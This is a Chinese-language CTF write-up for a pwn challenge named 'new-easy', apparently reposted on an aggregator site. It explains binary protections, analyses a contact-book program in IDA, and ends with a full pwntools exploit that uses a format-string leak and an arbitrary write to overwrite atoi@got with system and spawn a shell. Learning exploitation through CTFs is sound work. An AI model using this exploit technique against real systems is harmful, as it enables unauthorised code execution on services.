new-easy(pwn)

news2024/11/27 2:40:06

1.进行查壳

在这里插入图片描述
栈保护,三个保护都开了

NX保护

NX保护在Windows中也被成为称为DEP,是通过现代操作系统的内存单元(Memory Protect Unit ,MPU)机制对程序内存页的粒度进行权限设置,其基本规则为可写权限与可执行权限互斥

因此,在开启NX保护的程序中不能直接使用shellcode执行任意代码

所有可以被修改写入shellcode内存都不可执行,所有可以执行的代码数据都是不可被修改的

GCC默认可开启NX保护,关闭方法在编译时加入“-z exestack”参数

Stack Canary

此保护是针对于栈溢出攻击设计的一种保护机制。由于栈溢出攻击的主要目标通过溢出覆盖函数栈高位的返回地址,因此其思路是在函数开始执行前,即在返回地地址前写入一个字长的随机数据,在函数返回前校验该值是否被改变,如果被改变,则认为是发生了栈溢出。程序回直接终止

GCC默认使用Stack Canary 保护,关闭方法是在编译时加入“-fno-stack-protector”

ASLR

Address Space Layout Randomization
ASLR的目的是将程序的堆栈地址和动态链接库的加载地址进行一定的随机化,这些地址之间是不可读写执行的为映射内存,降低攻击者对程序内存结构的了解

这样,即使攻击者布置了shellcode并可以控制跳转,由于内存地址结构未知,依然无法执行shellcode

ASLR是系统等级的保护机制,关闭方式是修改/proc/sys/kernel/randmize_ va _ space文件的额内容为0

PIE

与ASLR保护十分类似,PIE保护的目的是让可执行程序ELF的地址进行随机化加载,从而使得程序的内存结构对攻击者完全未知,进一步提高程序的安全性

GCC编译开启PIE的方法为添加参数“ -fpic -pie"

新版本”- no -pie” 进行关闭

Full Relro

Full Relro保护与Linux下的Lazy Binding机制有关,其主要作用是禁止 .GOT.PLT表和其他一些相关内存的读写,从而阻止攻击者通过写 .GOT.PLT 表来进行攻击利用的手段

GCC开启Full Relro的方法是添加参数“-z relro”

同时我们运行程序看看
在这里插入图片描述
操作一下根据提示,应该是录入人员的信息

2.IDA进行分析

主函数进行分析
在这里插入图片描述

sub_B56

在这里插入图片描述在这里插入图片描述

在这里插入图片描述

sub_C32

在这里插入图片描述
这里就是我们程序运行的主要界面
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

最后返回atoi返回指令进行下一步

sub_1003

在这里插入图片描述
在这里插入图片描述

sub_10EB

在这里插入图片描述

sub_CCE

在这里插入图片描述

上面每个函数有个奇怪的东西为啥都有_readfsqword(0x28u)???

这就是栈的保护,以sub_CEE函数为例,在汇编层面我们看看
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

sub_E13

在这里插入图片描述还有个发现
在这里插入图片描述
在进行通讯录修改操作时,会将用户输入内容写入qword_2020F8[4*v1]所指向的地址处

通过前面的分析,我们知道qword_2020F8[4*0]地址位于索引为0的用户通讯录记录name字段后紧邻位置

并且name字段输入无大小限制,所以我们可以通过设计索引为0的name的输入

控制qword_2020F8[0]所指向的地址值,进而向该地址输入数据

即可以向任意地址写入数据。这是解这道题时比较巧妙的地方

3.解题

过调试分析和格式化字符串漏洞将栈上有关数据溢出

进而计算出程序加载基址和动态链接库中函数地址

进一步算出动态链接库加载基址

然后可以获得system地址和函数atoi@got地址

通过修改函数got表地址为system地址

使程序在调用该函数时调用system(“/bin/sh”)进而获得系统shell
在这里插入图片描述
程序的基址从上面这个地方开始

进入输出的print函数中
在这里插入图片描述
说实话这里没有搞懂为什么断点,格式化字符串要找的参数这样看

即通过格式化字符串漏洞泄露(%13 $ p%9$p)出第13个参数和第9个参数的值,

前者减240为__libc_start_main函数地址,后者减0x1274为程序加载基址

from pwn import *

elf = ELF('')
libc = ELF('libc-2.23.so')
sh = remote('',)

def Add(phone,name,size,info):
    sh.sendlineafter('choice>>','1')
    sh.sendlineafter('number:',phone)
    sh.sendlineafter('name:',name)
    sh.sendlineafter('size:',size)
    sh.sendlineafter('info:',info)

def Edit(index,phone,name,info):
    sh.sendlineafter('choice>>','4')
    sh.sendlineafter('index:',index)
    sh.sendlineafter('number:',phone)
    sh.sendlineafter('name:',name)
    sh.sendlineafter('info:',info)

def Show(index):
    sh.sendlineafter('choice>>','3')
    sh.sendlineafter('index:',index)

# 泄露相关栈地址
Add('%13$p%9$p','aaaaaaaa','15','12345')
Show('0')
sh.recvuntil('0x')
libc_start_main = int(sh.recv(12),16) - 240
sh.recvuntil('0x')
# 计算基址及所需函数地址
elf_base = int(sh.recv(12),16) - 0x1274
libc_start_main_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_start_main_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']

# 修改atoi@got为system地址
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
sh.sendlineafter('>>','/bin/sh')
sh.interactive()
print(sh.recv())

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1511445.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

简述类与对象

一、两者关系 类是Java语言中最重要的数据类型,用于创建具体实例(对象) 抽象出一类事物共有的属性和行为,即数据以及数据上的操作 类是对现实事物的模拟,包含属性(成员变量)和行为&#xff0…

python读取大型csv文件,降低内存占用,提高程序处理速度

文章目录 简介读取前多少行读取属性列逐块读取整个文件总结参考资料 简介 遇到大型的csv文件时,pandas会把该文件全部加载进内存,从而导致程序运行速度变慢。 本文提供了批量读取csv文件、读取属性列的方法,减轻内存占用情况。 import pand…

2024.3.12 C++

1.思维导图 2.自己封装一个矩形类(Rect)&#xff0c;拥有私有属性:宽度(width)、高度(height),定义公有成员函数: 初始化函数:void init(int w, int h)更改宽度的函数:set_w(int w)更改高度的函数:set_h(int h) 输出该矩形的周长和面积函数:void show() #include <iostream…

python(ogr)处理geojson为本地shp文件

前言 本次所利用的geojson数据来自https://geo.datav.aliyun.com/areas_v3/bound/410000_full.json &#xff0c;如果觉得下方代码看起来不方便&#xff0c;可以来GitHub上来看&#xff0c;在这上面还有一些辅助内容便于理解 GISpjd/GIS-union-Python (github.com)https://gi…

【2024.03.12】定时执行专家 V7.2 发布 - TimingExecutor V7.2 Release

目录 ▉ 软件介绍 ▉ 新版本 V7.2 下载地址 ▉ V7.2 新功能 ▼2024-03-12 V7.2 - 更新日志 ▉ V7.x 新UI设计 ▉ 软件介绍 《定时执行专家》是一款制作精良、功能强大、毫秒精度、专业级的定时任务执行软件。软件具有 25 种【任务类型】、12 种【触发器】触发方式&#x…

Linux内核介绍and下载

Linux内核介绍and下载 介绍下载下载历史版本 我是将军我一直都在&#xff0c;。&#xff01; 介绍 ● Linux是c语言写成的 ● 符合POSIX标准 ● 作者是芬兰的Linus Torvalds ● 发展依赖于五个重要支柱: unix操作系统、minix操作系统、 GNU计划、POSIX标准和互联网 ● 2.6之后…

WebSocket:实现客户端与服务器实时通信的技术

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

CodeSys通过C函数接口调用Qt

文章目录 1.背景介绍2.修改makefile2.1.将编译器由c改成c2.2.使能opencv库2.3.使能Qt库 3.在代码中使用Qt库函数 1.背景介绍 建议先查看之前的文章【CodeSys中调用C语言写的动态库】&#xff0c;了解如何创建一个能够被codesys调用的动态库。 假如想要在函数中使用Qt或者第三方…

Vue3全家桶 - Vue3 - 【8】模板引用【ref】(访问模板引用 + v-for中的模板引用 + 组件上的ref)

模板引用【ref】 Vue3官网-模板引用&#xff1b;如果我们需要直接访问组件中的底层DOM元素&#xff0c;可使用vue提供特殊的ref属性来访问&#xff1b; 一、 访问模板引用 在视图元素上采用ref属性来设置需要访问的DOM元素&#xff1a; 该 ref 属性可采用 字符串 值的执行设…

【基于langchain + streamlit 完整的与文档对话RAG】

本地部署文档问答webdemo 支持 pdf支持 txt支持 doc/docx支持 源文档索引 你的点赞和收藏是我持续分享优质内容的动力哦~ 废话不多说直接看效果 准备 首先创建一个新环境&#xff08;选择性&#xff09; conda create -n chatwithdocs python3.11 conda activate chatwith…

Promise其实也不难

难点图解&#xff1a;then&#xff08;&#xff09;方法 ES6学习网站&#xff1a;ES6 入门教程 解决&#xff1a;回调地狱&#xff08;回调函数中嵌套回调&#xff09; 两个特点&#xff1a; &#xff08;1&#xff09;对象的状态不受外界影响。Promise对象代表一个异步操作&…

Linux常见指令总结

ls&#xff1a;显示当前目录下文件列表 常用的命令行参数&#xff1a; -l 显示更多的文件属性 -a 显示所有的文件/目录&#xff08;包括隐藏的&#xff09; -d 只显示目录 ps&#xff1a;参数可以叠加使用。 例如&#xff1a;ls -la 显示所有文件…

力扣刷题Days16(js)-67二进制求和

目录 1,题目 2&#xff0c;代码 2.1转换进制数 2.2模拟加法 3&#xff0c;学习与总结 Math.floor() 模拟加法思路回顾 重点复习巩固 模拟加法的思路和学习位运算&#xff1b; 今天没精力了&#xff0c;先休息 1,题目 给你两个二进制字符串 a 和 b &#xff0c;以二进制…

2m高分辨率土地利用分类矢量数据/植被类型分布数据

土地利用数据是在根据影像光谱特征&#xff0c;结合野外实测资料&#xff0c;同时参照有关地理图件&#xff0c;对地物的几何形状&#xff0c;颜色特征、纹理特征和空间分布情况进行分析&#xff0c;建立统一解译标志的基础之上&#xff0c;依据多源卫星遥感信息&#xff0c;结…

【Echarts】曲线图上方显示数字以及自定义值,标题和副标题居中,鼠标上显示信息以及自定义信息

欢迎来到《小5讲堂》 大家好&#xff0c;我是全栈小5。 这是《前端》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解&#xff0c; 特别是针对知识点的概念进行叙说&#xff0c;大部分文章将会对这些概念进行实际例子验证&#xff0c;以此达到加深对知识点的理解和掌握…

前端精准测试调用链路分析

精准测试在评估需求的测试范围时&#xff0c;需要评估一下代码的影响范围&#xff0c;这个范围有两部分&#xff1a;一是需求直接修改的代码&#xff1b;二是修改代码影响到的功能模块。代码影响到的功能一般是通过调用链路分析来实现的&#xff0c;java和kotlin代码可以由java…

小白必看,靠这几步写一份简单的产品说明书!

我们都知道&#xff0c;无论是新产品发布&#xff0c;还是老产品的推广&#xff0c;产品说明书都扮演着至关重要的角色。产品说明书可以帮助用户正确、高效地使用产品&#xff0c;也是传递企业发展理念、展示企业形象的有效途径。但作为一个小白&#xff0c;怎样才能写一份简单…

JSONObject在Android Main方法中无法实例化问题

目录 前言一、Main(非安卓环境)方法下运行二、安卓坏境下运行三、why? 前言 原生的json,即org.json.JSONObject; 在Android Studio中的Main方法里运行报错&#xff0c;但在安卓程序运行过程正常 一、Main(非安卓环境)方法下运行 static void test() {try {// 创建一个 JSON …

动态类型是什么?——跟老吕学Python编程

动态类型是什么&#xff1f;——跟老吕学Python编程 前言动态编程语言动态编程语言特点&#xff1a;动态编程语言的优点&#xff1a;动态编程语言的缺点&#xff1a; 静态编程语言静态编程语言特点&#xff1a;静态编程语言的优点&#xff1a;静态编程语言的缺点&#xff1a; 总…

【Vue3】什么是路由?Vue中的路由基本切换~

&#x1f497;&#x1f497;&#x1f497;欢迎来到我的博客&#xff0c;你将找到有关如何使用技术解决问题的文章&#xff0c;也会找到某个技术的学习路线。无论你是何种职业&#xff0c;我都希望我的博客对你有所帮助。最后不要忘记订阅我的博客以获取最新文章&#xff0c;也欢…